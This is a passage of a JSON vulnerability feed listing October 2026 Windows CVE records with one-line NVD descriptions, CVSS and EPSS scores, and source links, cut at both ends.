use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83874","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83874","type":"primary","publishedAt":"2026-10-13T19:20:37.530Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83874","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83874&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83874, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83873","cveId":"CVE-2026-83873","aliases":[],"kind":"vulnerability","title":"Relative path traversal in Windows Shell allows an authorized attacker to elevate privileges locally.","summary":"Relative path traversal in Windows Shell allows an authorized attacker to elevate privileges locally.","detail":"Relative path traversal in Windows Shell allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:37.347Z","updatedAt":"2026-10-21T17:08:25.137Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83873","asOf":"2026-10-21T17:08:25.137Z"},"epss":{"probability":0.00392,"percentile":0.33079,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83873&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83873","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83873","type":"primary","publishedAt":"2026-10-13T19:20:37.347Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83873","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83873&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83873, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83872","cveId":"CVE-2026-83872","aliases":[],"kind":"vulnerability","title":"Incorrect conversion between numeric types in Windows TCP/IP allows an authorized attacker to elevate privileges locally.","summary":"Incorrect conversion between numeric types in Windows TCP/IP allows an authorized attacker to elevate privileges locally.","detail":"Incorrect conversion between numeric types in Windows TCP/IP allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:37.157Z","updatedAt":"2026-10-21T17:09:30.833Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83872","asOf":"2026-10-21T17:09:30.833Z"},"epss":{"probability":0.00353,"percentile":0.28697,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83872&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83872","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83872","type":"primary","publishedAt":"2026-10-13T19:20:37.157Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83872","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83872&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83872, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83871","cveId":"CVE-2026-83871","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in OpenSSH for Windows allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in OpenSSH for Windows allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in OpenSSH for Windows allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:36.990Z","updatedAt":"2026-10-21T17:10:38.750Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1809","stacks":["Microsoft Windows","OpenSSH","windows 10 1809"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83871","asOf":"2026-10-21T17:10:38.750Z"},"epss":{"probability":0.00221,"percentile":0.12547,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83871&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83871","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83871","type":"primary","publishedAt":"2026-10-13T19:20:36.990Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83871","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83871&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83871, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83867","cveId":"CVE-2026-83867","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Push Notifications allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Push Notifications allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Push Notifications allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:36.353Z","updatedAt":"2026-10-21T17:13:12.727Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83867","asOf":"2026-10-21T17:13:12.727Z"},"epss":{"probability":0.0041,"percentile":0.34952,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83867&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83867","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83867","type":"primary","publishedAt":"2026-10-13T19:20:36.353Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83867","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83867&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83867, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83866","cveId":"CVE-2026-83866","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Win32K allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Win32K allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Win32K allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:36.197Z","updatedAt":"2026-10-21T15:28:12.807Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83866","asOf":"2026-10-21T15:28:12.807Z"},"epss":{"probability":0.00279,"percentile":0.20193,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83866&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83866","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83866","type":"primary","publishedAt":"2026-10-13T19:20:36.197Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83866","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83866&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83866, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83862","cveId":"CVE-2026-83862","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Network Load Balancing allows an unauthorized attacker to execute code over an adjacent network.","summary":"Use after free in Windows Network Load Balancing allows an unauthorized attacker to execute code over an adjacent network.","detail":"Use after free in Windows Network Load Balancing allows an unauthorized attacker to execute code over an adjacent network.\n\nNVD status: Modified. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:35.520Z","updatedAt":"2026-10-23T18:18:27.063Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83862","asOf":"2026-10-23T18:18:27.063Z"},"epss":{"probability":0.00411,"percentile":0.35085,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83862&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83862","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83862","type":"primary","publishedAt":"2026-10-13T19:20:35.520Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83862","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83862&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83862, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83861","cveId":"CVE-2026-83861","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Remote Desktop Protocol allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Remote Desktop Protocol allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Remote Desktop Protocol allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:35.330Z","updatedAt":"2026-10-21T15:35:21.177Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83861","asOf":"2026-10-21T15:35:21.177Z"},"epss":{"probability":0.00353,"percentile":0.28698,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83861&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83861","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83861","type":"primary","publishedAt":"2026-10-13T19:20:35.330Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83861","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83861&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83861, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83860","cveId":"CVE-2026-83860","aliases":[],"kind":"vulnerability","title":"Stack-based buffer overflow in Windows GDI allows an unauthorized attacker to deny service over a network.","summary":"Stack-based buffer overflow in Windows GDI allows an unauthorized attacker to deny service over a network.","detail":"Stack-based buffer overflow in Windows GDI allows an unauthorized attacker to deny service over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:35.157Z","updatedAt":"2026-10-21T15:35:49.367Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83860","asOf":"2026-10-21T15:35:49.367Z"},"epss":{"probability":0.01273,"percentile":0.69688,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83860&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83860","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83860","type":"primary","publishedAt":"2026-10-13T19:20:35.157Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83860","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83860&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83860, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83859","cveId":"CVE-2026-83859","aliases":[],"kind":"vulnerability","title":"Use after free in Windows NTFS allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows NTFS allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows NTFS allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:34.983Z","updatedAt":"2026-10-21T15:37:18.573Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83859","asOf":"2026-10-21T15:37:18.573Z"},"epss":{"probability":0.00353,"percentile":0.28698,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83859&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83859","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83859","type":"primary","publishedAt":"2026-10-13T19:20:34.983Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83859","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83859&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83859, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83857","cveId":"CVE-2026-83857","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Universal Disk Format File System Driver (UDFS) allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:34.800Z","updatedAt":"2026-10-21T15:37:42.960Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83857","asOf":"2026-10-21T15:37:42.960Z"},"epss":{"probability":0.00353,"percentile":0.28694,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83857&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83857","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83857","type":"primary","publishedAt":"2026-10-13T19:20:34.800Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83857","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83857&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83857, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83856","cveId":"CVE-2026-83856","aliases":[],"kind":"vulnerability","title":"Out-of-bounds read in Windows Event Logging Service allows an unauthorized attacker to execute code over a network.","summary":"Out-of-bounds read in Windows Event Logging Service allows an unauthorized attacker to execute code over a network.","detail":"Out-of-bounds read in Windows Event Logging Service allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:34.643Z","updatedAt":"2026-10-21T15:38:53.340Z","regions":["Global"],"vendor":"microsoft","product":"windows 11 23h2","stacks":["Microsoft Windows","windows 11 23h2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83856","asOf":"2026-10-21T15:38:53.340Z"},"epss":{"probability":0.00631,"percentile":0.49953,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83856&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83856","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83856","type":"primary","publishedAt":"2026-10-13T19:20:34.643Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-83856","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83856&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83856, scored 2026-10-25. This is a model estimate, not proof of 